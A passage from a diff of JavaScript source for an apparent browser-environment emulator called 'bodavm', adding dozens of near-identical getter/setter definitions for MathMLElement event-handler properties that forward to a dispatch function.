arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationend", { + configurable: true, + enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerrawupdate", { + configurable: true, + enumerable: true, + get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_set", arguments); + } +}, 